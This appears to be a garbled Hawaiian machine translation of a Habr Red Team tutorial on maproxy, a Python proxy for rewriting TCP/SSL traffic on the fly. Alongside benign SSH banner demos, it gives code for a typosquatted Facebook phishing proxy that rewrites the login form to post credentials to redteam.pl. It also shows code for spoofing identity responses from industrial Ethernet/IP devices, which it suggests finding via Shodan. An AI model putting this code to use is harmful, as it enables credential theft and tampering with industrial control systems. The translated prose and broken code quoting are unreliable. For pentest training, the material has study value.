E hana i ka ʻikepili pūnaewele ma ka lele

Ua hoʻomākaukau ʻia ka unuhi ʻana o ka ʻatikala ma ka pō o ka hoʻomaka ʻana o ka papa “Pentest. ʻO ka hoʻomaʻamaʻa hoʻāʻo ʻana ".

E hana i ka ʻikepili pūnaewele ma ka lele

ʻAʻohe

ʻO nā ʻano loiloi palekana like ʻole, mai ka hoʻāʻo ʻana maʻamau a me nā hana Red Team i ka hacking IoT/ICS device a me SCADA, e pili ana i ka hana ʻana me nā protocol network binary, ʻo ia hoʻi, ka hoʻopaʻa ʻana a me ka hoʻololi ʻana i ka ʻikepili pūnaewele ma waena o ka mea kūʻai aku a me ka pahuhopu. ʻAʻole he hana paʻakikī ka ʻimi ʻana i ka ʻoihana pūnaewele no ka mea he mau mea hana mākou e like me Wireshark, Tcpdump a i ʻole Scapy, akā ʻo ka hoʻololi ʻana me he mea lā he hana ʻoi aku ka nui o ka hana no ka mea pono mākou e loaʻa i kekahi ʻano ʻano e heluhelu ai i ka ʻikepili pūnaewele, kānana, hoʻololi. ia ma ka lele a hoʻihoʻi i ka pūʻali i hoʻopaʻa ʻia i ka manawa maoli. Eia kekahi, he mea kūpono inā hiki i ia mea hana ke hana me nā pilina like ʻole a hiki ke hana maʻamau me ka hoʻohana ʻana i nā palapala.

I kekahi lā ua ʻike au i kahi mea hana i kapa ʻia maproxy, ua maopopo koke iaʻu ka palapala maproxy - ʻo kaʻu mea e pono ai. He mea maʻalahi kēia, maʻalahi a maʻalahi hoʻi ka TCP proxy. Ua hoʻāʻo au i kēia mea hana ma nā noi paʻakikī, me nā mea ICS (e hoʻopuka ana i nā ʻeke he nui) e ʻike inā hiki iā ia ke lawelawe i nā pilina like ʻole, a hana maikaʻi ka mea hana.

E hoʻolauna kēia ʻatikala iā ʻoe i ka hoʻoili ʻana i ka ʻikepili pūnaewele ma ka lele me ka hoʻohana ʻana maproxy.

Hōʻuluʻulu manaʻo

Nā mea hana maproxy Hoʻokumu ʻia ʻo Tornado, kahi ʻōnaehana pūnaewele asynchronous kaulana a makua ma Python.

Ma keʻano laulā, hiki iā ia ke hana ma nā ʻano he nui:

  • TCP:TCP - nā pilina TCP i hoʻopili ʻole ʻia;
  • TCP:SSL и SSL:TCP - me ka hoʻopunipuni ʻana i hoʻokahi ala;
  • SSL:SSL – ʻelua ala hoʻopunipuni.

Hele mai ia ma ke ʻano he waihona. No ka hoʻomaka wikiwiki, hiki iā ʻoe ke hoʻohana i nā faila laʻana e hōʻike ana i ka mea nui hale waihona puke:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Ka hihia 1 – ke koho koho pālua maʻalahi

Ma muli o tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

ma ka paʻamau ProxyServer() lawe i ʻelua mau manaʻo hoʻopaʻapaʻa - ka wahi pili a me ke awa i hoʻopaʻa ʻia. server.listen() lawe i hoʻokahi hoʻopaʻapaʻa - ke awa no ka hoʻolohe ʻana i ka pilina e komo mai ana.

Ke hoʻokō nei i ka palapala:

# python tcp2tcp.py

No ka holo ʻana i ka hoʻāʻo, e hoʻopili mākou i kahi kikowaena SSH kūloko ma o kā mākou palapala koho, e hoʻolohe ana ma 2222/tcp awa a hoʻohui i kahi awa maʻamau 22/tcp Nā kikowaena SSH:

E hana i ka ʻikepili pūnaewele ma ka lele

Hōʻike ka hae hoʻokipa iā ʻoe ua hoʻololi maikaʻi ʻia kā mākou hōʻailona hōʻailona.

Ka hihia 2 - hoʻololi ʻikepili

ʻO kekahi palapala hōʻike demo logging_proxy.py kūpono no ka launa pū ʻana me ka ʻikepili pūnaewele. Hōʻike nā manaʻo i loko o ka faila i nā ʻano papa e hiki ai iā ʻoe ke hoʻololi e hoʻokō i kāu pahuhopu:

E hana i ka ʻikepili pūnaewele ma ka lele

Eia ka mea hoihoi loa:

  • on_c2p_done_read - e hoʻopili i ka ʻikepili ma ke ala mai ka mea kūʻai aku i ke kikowaena;
  • on_p2s_done_read - hoohuli.

E ho'āʻo kākou e hoʻololi i ka hae SSH i hoʻi mai ke kikowaena i ka mea kūʻai:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

E hoʻokō i ka palapala:

E hana i ka ʻikepili pūnaewele ma ka lele

E like me kāu e ʻike ai, ua alakaʻi hewa ʻia ka mea kūʻai aku no ka mea ua hoʻololi ʻia ka inoa kikowaena SSH nona «DumnySSH».

E hana i ka ʻikepili pūnaewele ma ka lele

Mahele 3 – ʻaoʻao pūnaewele phishing maʻalahi

Aia nā ala pau ʻole e hoʻohana ai i kēia mea hana. I kēia manawa, e noʻonoʻo kākou i kahi mea kūpono loa mai ka ʻaoʻao hana ʻo Red Team. E hoʻohālike kākou i ka ʻaoʻao pae m.facebook.com a hoʻohana i kahi kāʻei kapu maʻamau me kahi kuhi hewa, no ka laʻana, m.facebok.com. No nā kumu hōʻikeʻike, e manaʻo wale kākou ua hoʻopaʻa inoa ʻia ka domain e mākou.

E hoʻokumu mākou i kahi pilina pūnaewele i hoʻopili ʻole ʻia me kā mākou mea hoʻopiʻi proxy a me SSL Stream i ke kikowaena Facebook (31.13.81.36). No ka hana ʻana i kēia hiʻohiʻona, pono mākou e pani i ka poʻomanaʻo host HTTP a hoʻokomo i ka inoa host pololei, a e hoʻopau pū mākou i ka hoʻopiʻi pane i hiki iā mākou ke komo maʻalahi i nā ʻike. ʻO ka hope, e hoʻololi mākou i ka palapala HTML i hoʻouna ʻia mai nā hōʻoia hōʻoia iā mākou ma mua o nā kikowaena o Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/haw/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

I ka hōʻākāka:

E hana i ka ʻikepili pūnaewele ma ka lele

E like me kāu e ʻike ai, ua hiki iā mākou ke hoʻololi i ka pūnaewele kumu.

Mahele 4 – Hoʻokomo i ka Ethernet/IP

Ua pili au i nā mea ʻenehana a me nā lako polokalamu (ICS/SCADA) no kekahi manawa, e like me nā mea hoʻoponopono programmable (PLC), I/O modules, drives, relays, ladder programming environments a me nā mea hou aku. ʻO kēia hihia no ka poʻe makemake i nā mea ʻoihana. ʻO ka hacking ʻana i kēlā mau hoʻonā e pili ana i ka pāʻani ʻana me nā protocol network. Ma kēia laʻana, makemake wau e hōʻike pehea e hiki ai iā ʻoe ke hoʻololi i ka ʻoihana pūnaewele ICS/SCADA.

No kēia, pono ʻoe i kēia:

  • ʻO ka sniffer pūnaewele, no ka laʻana, Wireshark;
  • Ethernet / IP a i ʻole kahi mea SIP wale nō, hiki iā ʻoe ke loaʻa me ka hoʻohana ʻana i ka lawelawe Shodan;
  • Hoʻokumu ʻia kā mākou palapala maproxy.

ʻO ka mea mua, e nānā kākou i ke ʻano o ka pane ʻike maʻamau mai CIP (Common Industrial Protocol):

E hana i ka ʻikepili pūnaewele ma ka lele

Hoʻokō ʻia ka ʻike ʻana o ka hāmeʻa me ka hoʻohana ʻana i ka protocol Ethernet/IP, kahi mana i hoʻonui ʻia o ka protocol Ethernet ʻoihana e hoʻopili ana i nā protocol control e like me CIP. E hoʻololi mākou i ka inoa ID i ʻike ʻia ma ka kiʻi "NI-IndComm no Ethernet" me ka hoʻohana ʻana i kā mākou palapala proxy. Hiki iā mākou ke hoʻohana hou i ka palapala logging_proxy.py a hoʻololi like i ke ʻano papa on_p2s_done_read, no ka mea makemake mākou e ʻike ʻia kahi inoa ʻokoʻa ma ka mea kūʻai aku.

Kuhikuhi:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

ʻO ka mea nui, ua noi mākou no ka ʻike ʻana i nā mea hana ʻelua, ʻo ka pane ʻelua ka pane mua, a ua hoʻololi ʻia ka mea mua ma ka lele.

A ka mea hope loa

I koʻu manaʻo maproxy He mea hana maʻalahi a maʻalahi hoʻi, i kākau ʻia ma Python, no laila ke manaʻoʻiʻo nei au hiki iā ʻoe ke pōmaikaʻi mai ka hoʻohana ʻana. ʻOiaʻiʻo, aia nā mea hana paʻakikī no ka hoʻoponopono ʻana a me ka hoʻololi ʻana i ka ʻikepili pūnaewele, akā pono lākou i ka nānā ʻana a hana pinepine ʻia no kahi hihia hoʻohana kikoʻī, e.g. muraena, Modlishka ai ole ia, evilginx no na hihia e like me ke kolu, a i ole sofa no ka hihia hope loa. ʻO kekahi ala a i ʻole, me ke kōkua maproxy hiki iā ʻoe ke hoʻokō koke i kāu mau manaʻo no ka hoʻopaʻa ʻana i ka ʻikepili pūnaewele, no ka mea, ua maopopo loa nā palapala hōʻike.

Ke ho'āʻo nei i nā mīkini hōʻoia ma Windows AD

Source: www.habr.com

Pākuʻi i ka manaʻo hoʻopuka